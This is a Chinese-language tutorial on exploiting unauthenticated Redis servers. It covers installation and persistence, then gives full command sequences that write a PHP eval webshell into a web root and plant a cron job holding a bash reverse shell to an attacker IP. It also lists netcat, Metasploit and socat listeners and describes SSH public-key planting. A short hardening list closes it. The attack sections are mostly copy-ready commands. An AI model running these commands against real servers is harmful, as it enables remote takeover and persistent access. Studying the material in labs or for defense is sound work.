Redis未授权访问漏洞
1,Redis常见用途
Remote Dictionary Service
//Redis相关操作
>set test 123
OK
>get test
"123"
>hset hash 1 a 2 b 3 c
(interger) 3
>hget hash 1
"a"
常见用途:
- 缓存
- 分布式session、分布式锁、分布式全局ID
- 计数器、限流
- 列表
- 抽奖
- 标签
- 排行榜
Redis的优点:
- 数据类型丰富、应用场景广泛
- 纯内存的数据结构、读写速度快
- 功能特性丰富(持久化、事务、多语言支持、集权分布式)
2,Redis环境安装
- 安装 gcc 依赖
- Redis 是 C 语言编写的,编译需要 GCC。
Redis6.x.x 版本支持了多线程,需要 gcc 的版本大于 4.9 - 查看 gcc 的版本:
gcc -v
- 升级 gcc 版本:
yum -y install centos-release-scl yum -y install devtoolset-9-gcc devtoolset-9-gcc-c++ devtoolset-9-binutils scl enable devtoolset-9 bash echo "source /opt/rh/devtoolset-9/enable" >>/etc/profile
- Redis 是 C 语言编写的,编译需要 GCC。
- 下载 redis
wget https://download.redis.io/releases/redis-6.2.3.tar.gz
- 解压压缩包
tar -zxvf redis-6.2.3.tar.gz
- 编译安装
cd redis-6.0.9/src make install
- 修改redis.conf配置文件
protected-mode ——保护模式 daemonize yes ——后台启动 bind 127.0.0.0 ——只能在本机访问,建议注释掉 requirepass yourpassword ——密码访问。注释掉则不需要密码登录 开启6379端口
- 使用指定配置文件启动 Redis 服务端
/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf
- 进入客户端
目录:/src/redis-cli
- 配置别名
vim ~/.bashrc alias redis='/usr/local/soft/redis-6.2.3/src/redis-server /usr/local/soft/redis-6.2.3/redis.conf' alias recli='/usr/local/soft/redis-6.2.3/src/redis-cli'
source ~/.bashrc
3,Redis持久化机制
如何保证数据不丢失?
答:内存的数据不定期保存到磁盘中。
- RDB Redis DataBase
- AOF Append Pnly File
自动触发配置:
- sava 3600 1 #自动触发规则
- dbfilename dump.rdb #文件名
- dir ./ #存储路径
手动触发保存命令:save / bgsave
4,Redis动态修改配置
config set:redis可以动态修改配置,重启以后失效
config set dir /www/admin/localhost_80/wwwroot
config set dbfilename redis.php
配合上持久化机制可以将任意内容写入到任意路径中。
5,webshell提权
-
完成配置后,向数据库中写入一句话木马
set x <?php @eval($_POST["test"])?>
-
打开shell连接上木马
//完整代码 redis-cli -h 192.168.142.13 -p 6379 config set dir /网站路径 config set dbfilename redis.php flushall set x <?php @eval($_POST["test"])?> save
6,定时任务+反弹连接提权
-
如果没有监听80端口的HTTP Server或者找不到网站本路径应该怎么办?
-
反弹连接:受害者主机主动与攻击者取得连接,攻击者顺势控制靶机。
-
以下情况使用反弹连接:
- 内网、私有IP
- IP动态变化
- 6379端口不允许入方向
- 一句话木马被杀软删除
-
反弹连接的实现
- 控制机怎么监听一个端口?
- 靶机怎么连接到控制机的端口?
-
常见监听端口方式
类型 命令 netcat(ncat) nc -lvp 端口号 (-nlvp lvvp) msf msfconsole;use exploit/multi/handler;set payload php/meterpreter/reverse_tcp;set lhost IP地址;set lport 端口号;run socat socat TCP-LISTEN:端口号 - -
常见建立反弹连接的方式(靶机执行)
-
看机器有什么环境,通过命令直接连接、或者访问代码文件
-
如果连接失败,可以检查防火墙有没有关闭
-
总结
- 流程
1. 监听端口
2. 执行命令,或者上传payload访问,建立连接 - 怎么上传?
1. 文件上传漏洞
2. 写入文件:Mysql、Rdis、CMS
3. 文本编辑命令:tee、test.py - 怎么执行?
1. 访问
2. 定时任务自动触发
- 流程
-
定时任务
crontab——cron表达式——秒分时日月周年
cron文件存储路径:- /var/spool/cron——此文件负责安排由系统管理员指定的维护系统以及其他任务的crontab
- /etc/crontab.——放到是对应周期的任务dalily、hourly、monthly、weekly
-
加入定时任务的漏洞复现:
- kali机
redis-cli -h 靶机地址 -p 6379 flushall set x "\n* * * * * bash -i >& /dev/tcp/控制机的IP/6666 0>&1\n" config set dir /var/spool/cron/ config set dbfilename root save
- 控制机
nc -lvp 6666
- kali机
7,SSH key免密登录
免密登录流程:
- 客户端生成密钥对(公钥,私钥)
- 客户端把公钥发给服务端保存(正常情况需要密码)
- 客户端用私钥加密消息,发给服务端
- 服务端用公钥解密,解密成功,说明密钥匹配
- 客户端免密登录成功
操作流程:
- 生成密钥:
ssh-keygen
- 登录目标发送公钥:
ssh-copy-id root@目标IP
- 免密登录:
ssh -i ./id_rsa root@目标IP
攻击方式:通过redis免密向目标发送公钥,再通过ssh进行连接。
其他利用方式:
- 基于主从复制的RCE
- jackson 反序列化利用
- lua RCE
- Redis密码爆破
8,Redis加固方案
- 限制访问IP
- 修改默认端口
- 使用密码访问
- 不要用root运行Redis